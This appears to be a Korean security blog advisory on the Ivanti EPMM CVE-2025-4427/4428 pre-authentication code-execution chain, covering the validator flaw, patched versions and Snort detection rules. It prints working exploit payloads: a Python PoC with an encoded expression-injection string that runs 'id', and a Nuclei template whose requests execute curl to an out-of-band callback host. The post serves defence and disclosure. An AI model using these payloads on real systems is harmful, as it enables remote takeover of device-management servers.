1. Ivanti Endpoint Manager Mobile

- 모바일 기기 관리(MDM), 모바일 애플리케이션 관리(MAM), 모바일 콘텐츠 관리(MCM)를 포함한 포괄적인 보안 및 통합 엔드포인트 관리(UEM) 도구를 하나로 통합 [1] 

2. 취약점

2.1 CVE-2025-4427

[사진 1] CVE-2025-4427 [2]

- 공격자가 적절한 자격 증명 없이 보호된 리소스에 접근할 수 있는 인증 우회 취약점

 

2.2 CVE-2025-4428

[사진 3] CVE-2025-4428 [3]

- 공격자가 대상 시스템에서 임의 코드를 실행할 수 있는 원격 코드 실행 취약점

 

2.3 취약점 상세

- /api/v2/featureusage?format=값 (또는 /api/v2/featureusage_history?format=값)로 GET 요청을 전송 [4][5]

> 해당 요청은 @Valid 어노테이션에 의해 DeviceFeatureUsageReportQueryRequestValidator에 의해 검증됨

@RequestMapping(method = GET, value = "/api/v2/featureusage")
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
@ResponseBody
public Response downloadDeviceFeatureUsageReport(
    @Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
    HttpServletRequest request) {
    [...]
  }

 

- 검증 중 format 파라미터는 유효한 형식인지 확인(json 또는 cvs)

> 유효한 형식이 아닌 경우 해당 format이 포함 및 실행되어 오류 메시지에 나타남

> 모든 인수가 바인딩되고 검증된 후에 인증 검사가 실행되므로 공격자는 인증 없이도 임의의 코드를 실행할 수 있음

※ CVE-2025-4427는 인증 우회가 아닌, 보안 경계가 코드에 적용되는 순서에 논리적 결함이 존재할 때 발생하는 연산 순서 취약점에 가까움

implements ConstraintValidator<ValidDeviceFeatureUsageReportQueryRequest, DeviceFeatureUsageReportQueryRequest>
{  
  @Autowired
  private LocalizedMessageBuilder localizedMessageBuilder;
  
  public void initialize(ValidDeviceFeatureUsageReportQueryRequest constraintAnnotation) {}
  
  public boolean isValid(DeviceFeatureUsageReportQueryRequest value, ConstraintValidatorContext context) {
    String format = value.getFormat(); // [1]
    if (format == null) {
      return true;
    }
    
    boolean isValid = (format.equalsIgnoreCase("json") || format.equalsIgnoreCase("csv")); // [2]
    if (!isValid) {
      String formatMessage = this.localizedMessageBuilder.getLocalizedMessage((MessageCode)MessageKeys.DEVICE_FEATURE_USAGE_INVALID_FORMAT, new Object[] { format }); // [3]
      
      context.disableDefaultConstraintViolation();
      context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();
    } 
    
    return isValid;
  }
}

3. PoC

- /mifs/rs/api/v2/featureusage?format=<JSON 또는 CSV가 아닌 형식의 명령> 전달 [6]

import argparse
import urllib3
import random
import string
import base64
import hashlib
from datetime import datetime, timedelta

import requests

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-Ivanti-EPMM-rce-chain.py
        (*) CVE-2025-4427 and CVE-2025-4428 Pre-Auth RCE Chain Detection Artifact Generator

          - Sonny and Piotr of watchTowr 

"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {}

def detect(host):
    
    url = host + '/mifs/rs/api/v2/featureusage?format=%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27%69%64%27%29%7d'

    print('[+] Executing `id` command')
    resp = requests.get(url, verify = False, proxies = proxies)

    if resp.status_code == 400 and 'Process[pid' in resp.text:
        print('[+] VULNERABLE')
    elif resp.status_code == 401:
        print('[-] NOT VULNERABLE - 401 returned')
    else:
        print('[-] Unknown error appeared, please check manually')


if __name__ == "__main__":

    print(banner)

    parser = argparse.ArgumentParser()

    parser.add_argument('-H', dest = 'host', action = "store", type = str, help = 'Host, like "https://target/" or "https://target"', required = True)

    args = parser.parse_args()
    host = args.host

    if host[-1] != '/':
        host += '/'
    
    print('[+] Starting Detection Artifact Generator for CVE-2025-4427 + CVE-2025-4428 Chain')
    
    detect(host)

[사진 4] 공격 예시

4. 대응방안

- 벤더사 제공 업데이트 적용 [7][8]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-4427
CVE-2025-4428
Ivanti Endpoint Manager Mobile 11.12.0.4 이하 11.12.0.5
12.3.0.1 이하 12.3.0.2
12.4.0.1 이하 12.4.0.2
12.5.0.0 이하 12.5.0.1

 

- 탐지 정책 적용

alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage"; http_uri;content:"format="; http_uri;)

alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage_history"; http_uri;content:"format="; http_uri;)


[Nuclei template]

id: CVE-2025-4427

info:
  name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
  reference:
    - hxxps://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-4427
    cwe-id: CWE-288
    epss-score: 0.00942
    epss-percentile: 0.75063
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:"362091310"
    fofa-query: icon_hash="362091310"
    product: endpoint_manager_mobile
    vendor: ivanti
  tags: cve,cve2025,ivanti,epmm,rce,ssti

http:
  - raw:
      - |
        GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Format 'Process[pid="
          - "localizedMessage"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 400

5. 참고

[1] https://help.ivanti.com/mi/help/en_US/core/11.x/gsg/CoreGettingStarted/Core_overview.htm
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-4427
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-4428
[4] https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428
[5] https://projectdiscovery.io/blog/ivanti-remote-code-execution
[6] https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428
[7] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71759&menuNo=205020
[9] https://thehackernews.com/2025/05/ivanti-patches-epmm-vulnerabilities.html
[10] https://thehackernews.com/2025/05/chinese-hackers-exploit-ivanti-epmm.html?utm_source=chatgpt.com

+ Recent posts